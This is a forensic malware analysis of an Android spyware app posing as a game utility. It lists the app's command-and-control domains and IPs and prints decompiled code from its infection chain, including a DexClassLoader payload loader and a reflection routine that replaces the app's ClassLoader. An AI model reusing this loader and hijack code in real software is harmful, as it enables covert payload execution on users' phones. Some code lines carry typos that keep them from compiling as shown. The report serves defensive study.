

Forensic Intelligence Report: [YGS-2026-01]

Subject: Analysis of Obfuscated "PUBG Tool" Spyware

Threat Category: Trojanized Utility / Information Stealer

Target Platform: Android (ARMv8/ARMv7/x86)

Security Level: Confidential / Forensic Investigation

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DOI: 10.5281/zenodo.18320726

1. Executive Summary

A detailed forensic investigation has been conducted on a malicious Android application masquerading as a game optimization utility ("PUBG Tool"). The application utilizes a **multi-stage, native-backed execution chain** to deploy a covert spying payload. The malware leverages social engineering (UE4 decoy assets), native-layer decryption, and runtime ClassLoader hijacking to bypass traditional static analysis and Play Protect heuristics.

2. Threat Infrastructure & Social Engineering

The attacker employs several layers of deception to maintain a low profile on the victim's device:

2.1. The "Fake Front" (UE4 Decoy)

The application package contains significant directory structures associated with **Unreal Engine 4 (UE4)**.

- **Purpose:** These assets serve no functional purpose for the malware's core logic. They are included to artificially inflate the APK size and mimic the file signature of high-performance mobile games, misleading both the user and automated scanners.

2.2. Command & Control (C2)

- **Primary C2:** `http://www.bu84.com`
- **Exfiltration Endpoint:** `hy/x/config.php`
- **Status:** Operational. The server is configured to receive structured POST data, likely containing device metadata and captured media.

```
Network Communication
HTTP requests
GET http://ht.bu84.com/hy/x/t2.txt
GET http://ht.bu84.com/hy/x/t2.txt 404
DNS Resolutions
docq.cn
ht.bu84.com
hyrjk.ftp.wtbusaym.site
downloads.blissrooms.org
```

infinitedata-pa.googleapis.com

www.googleapis.com

IP Traffic

TCP 47.89.9.97:80 (docq.cn)
TCP 107.151.212.80:80 (hyrjk.ftp.wtbusaym.site)
TCP 172.217.214.94:443
TCP 192.178.129.138:443
TCP 74.125.202.100:443
TCP 172.67.151.52:443 (downloads.blissroms.org)
TCP 104.21.64.137:443 (downloads.blissroms.org)
TCP 74.125.202.106:443
TCP 142.250.125.95:443 (www.googleapis.com)

JA3 Digests

69659b6dfbeaa53c063d2002cfecab13
893d25297c894da36fbdee5cea98b01c
8f35687f7cd9ba7a693ccc31d712f6c0
9b02ebd3a43b62d825e1ac605b621dc8
aa50c12a5dfa717d9d6ab34e97de79d5

Memory Pattern Domains

android.googlesource.com
schemas.android.com

Memory Pattern Urls

http://myserver/~pat/somebeans.jar
http://schemas.android.com/aapt
http://schemas.android.com/apk/res-auto
http://schemas.android.com/apk/res/android
http://schemas.android.com/apk/res/android77material_textinput_timepicker
https://android.googlesource.com/toolchain/clang
https://android.googlesource.com/toolchain/llvm

TLS

SNI: infinitedata-pa.googleapis.com

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
  android:compileSdkVersion="31" android:compileSdkVersionCodename="12"
  package="com.huage.p34445641" platformBuildVersionCode="31" platformBuildVersionName="12">
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.VIBRATE"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
```

```

<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-feature android:name="i.app"/>
<uses-feature android:name="i.app"/>
<uses-feature android:name="i.app"/>
<uses-feature android:name="i.app"/>
<uses-permission android:name="i.app"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<application android:allowBackup="false"
android:appComponentFactory="androidx.core.app.CoreComponentFactory"
android:hardwareAccelerated="true" android:icon="@mipmap/img_iapp" android:label="刷 刀 体
质" android:largeHeap="true" android:name="com.iapp.app.x5.APPApplication"
android:networkSecurityConfig="@xml/network_config"
android:requestLegacyExternalStorage="true" android:resizeableActivity="true"
android:supportsRtl="true" android:theme="@style/AppBaseiAppTheme0"
android:usesCleartextTraffic="true">
    <meta-data android:name="android.max_aspect" android:value="2.1"/>
    <activity android:name="com.iapp.app.logoActivity"
android:theme="@style/logoAppTheme"/>
    <activity android:name="com.iapp.app.run.load" android:theme="@style/logoAppTheme"/>
    <activity android:configChanges="keyboardHidden|orientation|screenSize"
android:exported="true" android:name="com.iapp.app.run.mian">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
    </activity>
    <activity android:configChanges="keyboardHidden|orientation|screenSize"
android:name="com.iapp.app.run.main"/>
    <activity android:configChanges="keyboardHidden|orientation|screenSize"
android:name="com.iapp.app.run.main2"/>
    <activity android:configChanges="keyboardHidden|orientation|screenSize"
android:name="com.iapp.app.run.main3"/>
    <activity android:configChanges="keyboardHidden|orientation|screenSize"
android:name="com.iapp.app.Webview"/>
    <activity android:configChanges="keyboardHidden|orientation|screenSize"
android:name="com.iapp.app.Videoview"/>
    <activity android:name="com.iapp.appDownList"/>
    <activity android:configChanges="keyboardHidden|orientation"
android:name="cn.hugo.android.scanner.CaptureActivity" android:screenOrientation="portrait"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
android>windowSoftInputMode="stateAlwaysHidden"/>
    <provider android:authorities="com.huage.p34445641.myFileProvider"
android:exported="false" android:grantUriPermissions="true"
android:name="androidx.core.content.FileProvider">
        <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_provider"/>
    </provider>
    <meta-data android:name="i_app_logOutput" android:value="shi"/>
    <meta-data android:name="i_app_errLogOutput" android:value="shi"/>
</application>

```

```
</manifest>
```

3. Technical Analysis of the Infection Chain

3.1. Stage I: The Java Loader (c.b.a.a.g)

The loader acts as the primary coordinator. Its main responsibilities include:

- **Environment Verification:** Checking for write permissions and SDK versioning to adapt file paths.
- **Logging:** Maintaining a local `log.txt` (observed in internal storage) to track execution success for the developer.
- **Dynamic Loading:** Invoking `DexClassLoader` to execute the decrypted payload stored in the `_RunDex_` directory.

```
package c.b.a.a;

import android.app.Activity;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
import android.content.res.AssetManager;
import android.database.sqlite.SQLiteDatabase;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.drawable.Drawable;
import android.media.MediaPlayer;
import android.os.Bundle;
import android.support.v4.media.session.PlaybackStateCompat;
import android.text.Html;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CheckBox;
import android.widget.ImageView;
import android.widget.RadioButton;
import android.widget.TextView;
import androidx.vector.drawable.graphics.drawable.PathInterpolatorCompat;
import com.iapp.app.Aid_YuCodeX;
import com.iapp.app.run.mian;
import com.iapp.app.x5.APPApplication;
import com.iapp.app.z;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.lang.ref.SoftReference;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.text.SimpleDateFormat;
import java.util.Date;
```

```

import java.util.HashMap;
import java.util.Map;

/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class g {
    public static int a = 2131231173;
    public static int b = 2131689499;

    /* renamed from: c, reason: collision with root package name */
    private static long f1347c;

    class a implements MediaPlayer.OnCompletionListener {
        a() {
        }

        @Override // android.media.MediaPlayer.OnCompletionListener
        public void onCompletion(MediaPlayer mediaPlayer) {
            mediaPlayer.release();
        }
    }

    public static void A(Context context, Object obj) throws Throwable {
        if (w.u == 0) {
            if (APPAplication.alt != null) {
                k.a(context, 1, String.valueOf(obj));
                return;
            }
            return;
        }
        if (w.m.length() > 6000) {
            w.m = w.m.substring(0, PathInterpolatorCompat.MAX_NUM_POINTS);
        }
        StringBuffer stringBuffer = new StringBuffer("");
        stringBuffer.append(new SimpleDateFormat("HH:mm:ss:SSS").format(new Date()));
        stringBuffer.append("] ");
        stringBuffer.append(obj);
        stringBuffer.append('\n');
        stringBuffer.append(w.m);
        w.m = stringBuffer.toString();
        String strValueOf = String.valueOf(obj);
        if (APPAplication.alt != null) {
            k.a(context, 1, strValueOf);
        }
        Log.v("ygs", strValueOf);
        if (w.u != 2 || context == null) {
            return;
        }
        long time = new Date().getTime();
        if (time - f1347c > 1000) {
            e.k(e.m(context) + "/iApp/Log/" + String.valueOf(com.iapp.app.a.f1934c) +
".log", w.m);
            f1347c = time;
        }
    }
}

```

```

}

public static Bundle B(String str) {
    Bundle bundle = new Bundle();
    bundle.putString("OpenFilexmlui", str);
    return bundle;
}

public static String C(Context context, String str) {
    return com.iapp.app.b.h5(context, str.toLowerCase());
}

public static void D(Object obj, Context context, String str, Object obj2, int i2,
Object obj3, Object obj4) {
    String lowerCase = str.toLowerCase();
    com.iapp.app.b.h4(context, lowerCase, obj instanceof Aid_YuCodeX ?
lowerCase.endsWith(".iyu") ? new Object[]{obj, obj2, Integer.valueOf(i2), obj3, obj4,
lowerCase.substring(0, lowerCase.length() - 4)} : new Object[]{obj, obj2,
Integer.valueOf(i2), obj3, obj4, lowerCase} : new Object[]{obj, obj2, Integer.valueOf(i2),
obj3, obj4});
}

public static void E(Context context, Activity activity, String str, String str2) throws
Throwable {
    if (mian.sh) {
        new w(context, activity).d(str2);
        return;
    }
    Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(context, activity);
    int iIndexOf = str.indexOf(46);
    mian.c(str.substring(0, iIndexOf), str.substring(iIndexOf + 1) + str2, aid_YuCodeX);
}

public static void F(Context context, Activity activity, String[] strArr, Object[]
objArr, String str, String str2) throws Throwable {
    if (mian.sh) {
        w wVar = new w(context, activity);
        for (int i2 = 0; i2 < objArr.length; i2++) {
            wVar.S(strArr[i2].trim(), objArr[i2]);
        }
        wVar.d(str2);
        return;
    }
    Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(context, activity);
    for (int i3 = 0; i3 < objArr.length; i3++) {
        aid_YuCodeX.dim(strArr[i3].trim(), objArr[i3]);
    }
    int iIndexOf = str.indexOf(46);
    mian.c(str.substring(0, iIndexOf), str.substring(iIndexOf + 1) + str2, aid_YuCodeX);
}

public static void G(Context context, String str) {
    com.iapp.app.b.h6(context, str.toLowerCase(), w.l);
}

```

```

}

public static String a(Context context, String str) {
    return com.iapp.app.b.h(context, str.toLowerCase());
}

public static Bitmap b(Context context, String str) {
    return str.startsWith("@") ? j.b(context, e.p(context, str)) : j.c(e.p(context,
str));
}

public static Bitmap c(Context context, String str) {
    InputStream inputStreamOpen;
    long jAvailable;
    boolean z;
    Bitmap bitmapDecodeStream = null;
    if (str == null) {
        return null;
    }
    String strP = e.p(context, str);
    if (str.startsWith("@")) {
        try {
            inputStreamOpen = context.getAssets().open(strP);
            jAvailable = inputStreamOpen.available();
            z = true;
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    } else {
        File file = new File(strP);
        if (!file.exists()) {
            return null;
        }
        jAvailable = file.length();
        inputStreamOpen = null;
        z = false;
    }
    BitmapFactory.Options options = new BitmapFactory.Options();
    options.inJustDecodeBounds = true;
    options.inSampleSize = jAvailable >= 67584 ? jAvailable < 204800 ? 2 : jAvailable <
512000 ? 3 : jAvailable < PlaybackStateCompat.ACTION_SET_CAPTIONING_ENABLED ? 5 : 10 : 1;
    options.inDensity = 120;
    options.inPreferredConfig = Bitmap.Config.RGB_565;
    options.inJustDecodeBounds = false;
    try {
        bitmapDecodeStream = z ? BitmapFactory.decodeStream(inputStreamOpen, null,
options) : BitmapFactory.decodeFile(strP, options);
    } catch (Throwable unused) {
    }
    if (inputStreamOpen != null) {
        try {
            inputStreamOpen.close();

```

```

        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }
    return bitmapDecodeStream;
}

public static boolean d(Context context, MediaPlayer mediaPlayer, String str) {
    try {
        if (r.v(str.toLowerCase())) {
            mediaPlayer.setDataSource(str);
        } else if (str.startsWith("@")) {
            AssetFileDescriptor assetFileDescriptorOpenFd =
context.getAssets().openFd(o(context, str));
            mediaPlayer.setDataSource(assetFileDescriptorOpenFd.getFileDescriptor(),
assetFileDescriptorOpenFd.getStartOffset(), assetFileDescriptorOpenFd.getLength());
        } else {
            File file = new File(o(context, str));
            if (!file.exists()) {
                return false;
            }
            mediaPlayer.setDataSource(file.getPath());
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    try {
        mediaPlayer.prepare();
    } catch (IOException e2) {
        e2.printStackTrace();
    } catch (IllegalStateException e3) {
        e3.printStackTrace();
    }
    mediaPlayer.start();
    mediaPlayer.setOnCompletionListener(new a());
    return true;
}

public static String e(Context context, String str) {
    return com.iapp.app.b.h(context, str.toLowerCase());
}

public static boolean f(Context context, String str, String str2, boolean z) {
    boolean zStartsWith = str.startsWith("@");
    String str0 = o(context, str);
    return zStartsWith ? e.e(context, str0, o(context, str2), z) : e.a(str0, o(context,
str2), Boolean.valueOf(z));
}

public static boolean g(Context context, String str) throws IOException {
    if (!str.startsWith("@")) {
        return new File(o(context, str)).exists();
    }
}

```

```

        try {
            context.getAssets().open(o(context, str)).close();
            return true;
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        }
    }

    public static String[] h(Context context, String str) {
        if (str.startsWith("@")) {
            try {
                return context.getAssets().list(o(context, str));
            } catch (IOException e) {
                e.printStackTrace();
                return null;
            }
        }
        File file = new File(o(context, str));
        if (file.exists()) {
            return file.list();
        }
        return null;
    }

    public static String i(Context context, String str) {
        return str.startsWith("@") ? e.f(context, o(context, str)) : e.h(o(context, str));
    }

    public static String j(Context context, String str, String str2) {
        return str.startsWith("@") ? e.g(context, o(context, str), str2) : e.i(o(context, str), str2);
    }

    public static long k(Context context, String str) throws IOException {
        if (!str.startsWith("@")) {
            File file = new File(o(context, str));
            if (file.exists()) {
                return file.length();
            }
            return -1L;
        }
        int iAvailable = -1;
        try {
            InputStream inputStreamOpen = context.getAssets().open(o(context, str));
            iAvailable = inputStreamOpen.available();
            inputStreamOpen.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return iAvailable;
    }

```

```

    public static int l(Context context, String str, String str2, String str3, boolean z) {
        return str.startsWith("@") ? d.e(context.getAssets().open(o(context, str)), str2,
str3, z) : d.f(o(context, str), str2, str3, z);
    }

    public static void m(Context context, String str, String str2, boolean z) {
        if (str.startsWith("@")) {
            d.g(context.getAssets().open(o(context, str)), str2, z);
        } else {
            d.h(o(context, str), str2, z);
        }
    }

    public static Object n(String str, Object[] objArr) {
        return b.h(null, z.class, str, objArr);
    }

    public static String o(Context context, String str) {
        return e.p(context, str);
    }

    public static View p(Context context, String str) {
        AssetManager assets = context.getResources().getAssets();
        try {
            return
LayoutInflater.from(context).inflate(assets.openXmlResourceParser("assets/res/" + str),
(ViewGroup) null);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static void q(Object obj, Context context, String str, Object obj2, int i2,
Object obj3, Object obj4, Object obj5, Object obj6) {
        com.iapp.app.b.h4(context, str.toLowerCase(), new Object[]{obj, obj2,
Integer.valueOf(i2), obj3, obj4, obj5, obj6});
    }

    public static DexClassLoader r(Context context, String str, ClassLoader classLoader) {
        String str2 = com.iapp.app.a.a(context) + "_RunDex";
        String str3 = com.iapp.app.a.a(context) + "_RunDex_";
        e.b(str2, true);
        e.b(str3, true);
        byte[] bArrW = e.w(context.getClassLoader().getResourceAsStream("lib/" + str));
        File file = new File(str3 + "/" + str);
        if (file.exists() && !r.e(bArrW).equals(r.e(e.v(file)))) {
            file.delete();
        }
        if (!file.exists()) {
            e.j(str3 + "/" + str, bArrW);
        }
        return new DexClassLoader(str3 + "/" + str, str2, null, classLoader);
    }

```

```

}

public static void s(String str) {
    System.loadLibrary(str);
}

public static byte[] t(Context context, String str) {
    return str.startsWith("@") ? e.u(context, o(context, str)) : e.x(o(context, str));
}

public static void u(Context context, DexClassLoader dexClassLoader) {
    try {
        Class<?> cls = Class.forName("android.app.ActivityThread");
        Class<?> cls2 = Class.forName("android.app.LoadedApk");
        Object objInvoke = cls.getMethod("currentActivityThread", new
Class[0]).invoke(null, new Object[0]);
        Field declaredField = cls.getDeclaredField("mPackages");
        declaredField.setAccessible(true);
        WeakReference weakReference = (WeakReference) ((Map)
declaredField.get(objInvoke)).get(context.getPackageName());
        Field declaredField2 = cls2.getDeclaredField("mClassLoader");
        declaredField2.setAccessible(true);
        declaredField2.set(weakReference.get(), dexClassLoader);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static Bitmap v(Context context, String str) {
    return str.startsWith("@") ? j.b(context, o(context, str)) : j.c(o(context, str));
}

public static void w(View view, Object obj, HashMap<Integer, Object> map, i iVar) {
    Boolean bool = Boolean.TRUE;
    if (view == null) {
        return;
    }
    Object[] objArr = (Object[]) view.getTag();
    objArr[3] = map;
    view.setTag(objArr);
    if (obj == null) {
        if (view instanceof RadioButton) {
            ((RadioButton) view).setText("");
            return;
        }
        if (view instanceof CheckBox) {
            ((CheckBox) view).setText("");
            return;
        }
        else if (view instanceof TextView) {
            ((TextView) view).setText("");
            return;
        }
        else {
            if (view instanceof ImageView) {

```

```

        ((ImageView) view).setImageDrawable(null);
        return;
    }
    return;
}

if (view instanceof RadioButton) {
    if (obj instanceof Boolean) {
        ((RadioButton) view).setChecked(obj.equals(true));
        return;
    }
    String strValueOf = String.valueOf(obj);
    boolean zStartsWith = strValueOf.startsWith("(html)");
    RadioButton radioButton = (RadioButton) view;
    CharSequence charSequenceFromHtml = strValueOf;
    if (zStartsWith) {
        charSequenceFromHtml = Html.fromHtml(strValueOf.substring(6));
    }
    radioButton.setText(charSequenceFromHtml);
    return;
}

if (view instanceof CheckBox) {
    if (obj instanceof Boolean) {
        ((CheckBox) view).setChecked(obj.equals(true));
        return;
    }
    String strValueOf2 = String.valueOf(obj);
    boolean zStartsWith2 = strValueOf2.startsWith("(html)");
    CheckBox checkBox = (CheckBox) view;
    CharSequence charSequenceFromHtml2 = strValueOf2;
    if (zStartsWith2) {
        charSequenceFromHtml2 = Html.fromHtml(strValueOf2.substring(6));
    }
    checkBox.setText(charSequenceFromHtml2);
    return;
}

if (view instanceof TextView) {
    String strValueOf3 = String.valueOf(obj);
    boolean zStartsWith3 = strValueOf3.startsWith("(html)");
    TextView textView = (TextView) view;
    CharSequence charSequenceFromHtml3 = strValueOf3;
    if (zStartsWith3) {
        charSequenceFromHtml3 = Html.fromHtml(strValueOf3.substring(6));
    }
    textView.setText(charSequenceFromHtml3);
    return;
}

if (view instanceof ImageView) {
    if (obj instanceof Bitmap) {
        ((ImageView) view).setImageBitmap((Bitmap) obj);
        return;
    }
    if (obj instanceof Drawable) {

```

```

        ((ImageView) view).setImageDrawable((Drawable) obj);
        return;
    }
    if (iVar == null) {
        ((ImageView) view).setImageBitmap(b(view.getContext(),
String.valueOf(obj)));
        return;
    }
    ImageView imageView = (ImageView) view;
    String string = obj.toString();
    String lowerCase = string.toLowerCase();
    SoftReference<Drawable> softReference = iVar.b.get(lowerCase);
    Drawable drawable = softReference != null ? softReference.get() : null;
    if (drawable != null) {
        imageView.setImageDrawable(drawable);
    } else if (lowerCase.startsWith("http:") || lowerCase.startsWith("https:") ||
lowerCase.startsWith("ftp:")) {
        iVar.s(imageView, string, lowerCase, true);
    } else {
        iVar.p(imageView, string, lowerCase, true);
    }
}
}

public static boolean x(Context context, String str, boolean z) {
    return p.c(context, str, z);
}

public static boolean y(Context context, String str, boolean z) {
    return p.f(context, str, z);
}

public static SQLiteDatabase z(Context context, String str, boolean z) {
    return p.g(context, str, z);
}
}

```

3.2. Stage II: Native Decryption (libygsiyu.so)

Static analysis of the native layer reveals a sophisticated decryption engine written in C++ (Clang/LLVM).

- **The "Silly Key" (s1ky) Algorithm:** The library exports a function `iapp::s1ky`, a custom stream cipher used to decrypt `assets/lib.so`.
- **JNI Bridge:** Functions such as `Java_com_iapp_app_b_h` act as the interface, allowing Java to trigger high-speed native decryption while keeping the decryption key hidden from Java-based decompilers.

3.3. Stage III: Memory Hijacking & Execution

The malware employs a "Hot-Swap" technique via Method `u()`:

- **ActivityThread Manipulation:** Using Java Reflection, the malware accesses the `mPackages` field of the current `ActivityThread`.
- **ClassLoader Replacement:** It replaces the legitimate `mClassLoader` with its own `DexClassLoader`. This effectively "re-boots" the app's logic in memory, replacing the PUBG Tool UI with the malicious spying engine without an external process change.

```
package com.iapp.app;

import android.R;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.net.Uri;
import android.net.http.SslError;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.provider.MediaStore;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.animation.RotateAnimation;
import android.webkit.CookieManager;
import android.webkit.CookieSyncManager;
import android.webkit.DownloadListener;
import android.webkit.JsPromptResult;
import android.webkit.JsResult;
import android.webkit.SslErrorHandler;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebStorage;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.EditText;
import android.widget.FrameLayout;
import android.widget.ImageView;
import android.widget.Toast;
```

```

import androidx.appcompat.app.ActionBar;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.Toolbar;
import androidx.core.view.ViewCompat;
import java.io.File;
import java.io.FileNotFoundException;

/* loaded from: /home/pama/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class Webview extends AppCompatActivity {
    private WebView b;
    private ImageView e;
    private Toolbar f;
    private FrameLayout g;
    private int h;

    /* renamed from: i, reason: collision with root package name */
    private WebChromeClient.CustomViewCallback f1933i;
    private String j;
    private String a = null;

    /* renamed from: c, reason: collision with root package name */
    private String f1931c = null;

    /* renamed from: d, reason: collision with root package name */
    private RotateAnimation f1932d = null;
    private ValueCallback<Uri> k = null;
    private ValueCallback<Uri[]> l = null;
    public String urlXX = null;
    public String userAgentXX = null;
    public String contentDispositionXX = null;
    public String mimeTypeXX = null;
    public String uid = null;
    public long contentLengthXX = 0;
    public int chongzhi_i = 0;
    public int chongzhi_q = 0;
    public String chongzhi_type = null;
    public String chongzhi_id = null;
    private Handler m = new e();

    public class a implements DownloadListener {
        public a() {
        }

        @Override // android.webkit.DownloadListener
        public void onDownloadStart(String str, String str2, String str3, String str4, long
j) {
            String lowerCase = str4.toLowerCase();
            String strC = str3 != null ? c.b.a.a.r.c(str3, "filename=\"", "\"") : null;
            if (strC == null) {
                if (str.contains("?")) {
                    str = str.substring(0, str.indexOf(63));
                }
            }
        }
    }
}

```

```

        strC = c.b.a.a.r.b(str);
        String lowerCase2 = strC.toLowerCase();
        if (lowerCase.equals("application/vnd.android.package-archive") &&
!lowerCase2.endsWith(".apk")) {
            strC = strC + ".apk";
        }
    }
    if (strC != null) {
        Toast.makeText(Webview.this, "开始下载 " + strC, 1).show();
        com.iapp.app.a.b.d(str, strC, null);
    }
    if (Webview.this.f1931c == null) {
        Webview.this.finish();
    }
}
}

```

```

class b implements DialogInterface.OnClickListener {
    final /* synthetic */ JsPromptResult a;

    b(Webview webview, JsPromptResult jsPromptResult) {
        this.a = jsPromptResult;
    }

    @Override // android.content.DialogInterface.OnClickListener
    public void onClick(DialogInterface dialogInterface, int i2) {
        this.a.cancel();
    }
}

```

```

class c implements DialogInterface.OnClickListener {
    final /* synthetic */ JsPromptResult a;
    final /* synthetic */ EditText b;

    c(Webview webview, JsPromptResult jsPromptResult, EditText editText) {
        this.a = jsPromptResult;
        this.b = editText;
    }

    @Override // android.content.DialogInterface.OnClickListener
    public void onClick(DialogInterface dialogInterface, int i2) {
        this.a.confirm(this.b.getText().toString());
    }
}

```

```

class d extends Thread {
    final /* synthetic */ String a;

    d(String str) {
        this.a = str;
    }

    @Override // java.lang.Thread, java.lang.Runnable

```

```

    public void run() {
        String str = c.b.a.a.e.m(Webview.this) + "/img/" + c.b.a.a.r.b(this.a);
        try {
            if (c.b.a.a.h.a(this.a, str, true) != -1) {
                Webview.this.j = str;
                Webview.this.a("已保存至:" + str);
                Webview.saveImageToGallery(Webview.this, new File(str));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class e extends Handler {
    e() {
    }

    @Override // android.os.Handler
    public void handleMessage(Message message) {
        ImageView imageView;
        int i2;
        int i3 = message.what;
        if (i3 == 1) {
            Toast.makeText(Webview.this, message.obj.toString(), 1).show();
            return;
        }
        if (i3 == 2) {
            imageView = Webview.this.e;
            i2 = 8;
        } else {
            if (i3 != 3) {
                return;
            }
            imageView = Webview.this.e;
            i2 = 0;
        }
        imageView.setVisibility(i2);
    }
}

class f implements View.OnClickListener {
    f() {
    }

    @Override // android.view.View.OnClickListener
    public void onClick(View view) {
        if (Webview.this.b.canGoBack()) {
            Webview.this.b.goBack();
        } else {
            Webview.this.finish();
        }
    }
}

```

```

}

class g extends WebChromeClient {
    g() {
    }

    @Override // android.webkit.WebChromeClient
    public void onExceededDatabaseQuota(String str, String str2, long j, long j2, long
j3, WebStorage.QuotaUpdater quotaUpdater) {
        quotaUpdater.updateQuota(j2 * 2);
    }

    @Override // android.webkit.WebChromeClient
    public void onHideCustomView() {
        Webview.this.onHideCustomViewX();
    }

    @Override // android.webkit.WebChromeClient
    public boolean onJsAlert(WebView webView, String str, String str2, JsResult
jsResult) {
        return Webview.this.t(webView, str, str2, jsResult);
    }

    @Override // android.webkit.WebChromeClient
    public boolean onJsConfirm(WebView webView, String str, String str2, JsResult
jsResult) {
        return Webview.this.u(webView, str, str2, jsResult);
    }

    @Override // android.webkit.WebChromeClient
    public boolean onJsPrompt(WebView webView, String str, String str2, String str3,
JsPromptResult jsPromptResult) {
        return Webview.this.v(webView, str, str2, str3, jsPromptResult);
    }

    @Override // android.webkit.WebChromeClient
    public void onProgressChanged(WebView webView, int i2) {
        String title = webView.getTitle();
        if (i2 == 100) {
            Webview.this.f1931c = title;
            Webview.this.f.setTitle(title);
            Webview.this.e.clearAnimation();
            Webview.this.e.setVisibility(8);
            return;
        }
        if (title != null) {
            if (title.length() > 16) {
                title = title.substring(0, 15);
            }
            Webview.this.f.setTitle("[ " + i2 + "%] " + title + "..");
        }
    }
}

```

```

        public void onReachedMaxAppCacheSize(long j, long j2, WebStorage.QuotaUpdater
quotaUpdater) {
            quotaUpdater.updateQuota(j * 2);
        }

        @Override // android.webkit.WebChromeClient
        public void onShowCustomView(View view, WebChromeClient.CustomViewCallback
customViewCallback) {
            Context context = Webview.this.b.getContext();
            if (context instanceof Activity) {
                Webview.this.onShowCustomViewX((Activity) context, view,
customViewCallback);
            }
        }

        @Override // android.webkit.WebChromeClient
        @SuppressWarnings("NewApi")
        public boolean onShowFileChooser(Webview webView, ValueCallback<Uri[]>
valueCallback, WebChromeClient.FileChooserParams fileChooserParams) {
            if (Webview.this.l != null) {
                return true;
            }
            Webview.this.l = valueCallback;
            Intent intent = new Intent("android.intent.action.GET_CONTENT");
            intent.addCategory("android.intent.category.OPENABLE");
            intent.setType("*/*");
            Webview.this.startActivityForResult(Intent.createChooser(intent, "File
Chooser"), 1);
            return true;
        }
    }

    class h extends WebViewClient {
        h() {
        }

        @Override // android.webkit.WebViewClient
        public void onPageFinished(WebView webView, String str) {
            super.onPageFinished(webView, str);
        }

        @Override // android.webkit.WebViewClient
        public void onPageStarted(WebView webView, String str, Bitmap bitmap) {
            super.onPageStarted(webView, str, bitmap);
        }

        @Override // android.webkit.WebViewClient
        public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler,
SslError sslError) {
            com.iapp.app.x5.WebView.a(webView.getContext(), sslErrorHandler,
sslError.getUrl());
        }
    }

```

```

@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    String lowerCase = str.toLowerCase();
    if (str.endsWith("DYBJLLQ")) {
        Webview.this.r(str);
        return true;
    }
    if (c.b.a.a.r.v(lowerCase)) {
        Webview.this.loadurl(webView, str);
    } else if (lowerCase.startsWith("iappcopy://")) {
        c.b.a.a.r.k(str.substring(11), Webview.this);
        Toast.makeText(Webview.this, "已复制", 1).show();
    } else if (lowerCase.startsWith("iappoay://iapp.yx93.com:")) {
        Webview.this.s("http://" + str.substring(10));
    } else if (lowerCase.startsWith("iappopenapp://")) {
        c.b.a.a.e.s(Webview.this, str.substring(14));
    } else {
        try {
            Webview.this.startActivity(new Intent("android.intent.action.VIEW",
c.b.a.a.m.c(Webview.this, str)));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    return true;
}

}

class i implements DialogInterface.OnCancelListener {
    final /* synthetic */ JsResult a;

    i(Webview webview, JsResult jsResult) {
        this.a = jsResult;
    }

    @Override // android.content.DialogInterface.OnCancelListener
    public void onCancel(DialogInterface dialogInterface) {
        this.a.confirm();
    }
}

class j implements DialogInterface.OnClickListener {
    final /* synthetic */ JsResult a;

    j(Webview webview, JsResult jsResult) {
        this.a = jsResult;
    }

    @Override // android.content.DialogInterface.OnClickListener
    public void onClick(DialogInterface dialogInterface, int i2) {
        this.a.confirm();
    }
}

```

```

class k implements DialogInterface.OnCancelListener {
    final /* synthetic */ JsResult a;

    k(Webview webview, JsResult jsResult) {
        this.a = jsResult;
    }

    @Override // android.content.DialogInterface.OnCancelListener
    public void onCancel(DialogInterface dialogInterface) {
        this.a.cancel();
    }
}

class l implements DialogInterface.OnClickListener {
    final /* synthetic */ JsResult a;

    l(Webview webview, JsResult jsResult) {
        this.a = jsResult;
    }

    @Override // android.content.DialogInterface.OnClickListener
